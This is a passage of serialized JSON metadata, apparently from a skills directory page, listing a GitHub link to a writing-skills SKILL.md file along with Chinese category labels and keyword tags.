deployment","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[200,203,206,209],{"categoryNo":201,"categoryName":202,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":204,"categoryName":205,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":207,"categoryName":208,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":210,"categoryName":211,"taxonomyType":158,"taxonomyTypeDesc":159},"01JBSEEDCAT000000000000036","内容创作者",[213,214,215,88,110,216,80,217,104,86,218],"writing","writing skills","new","work","editing","Existing"]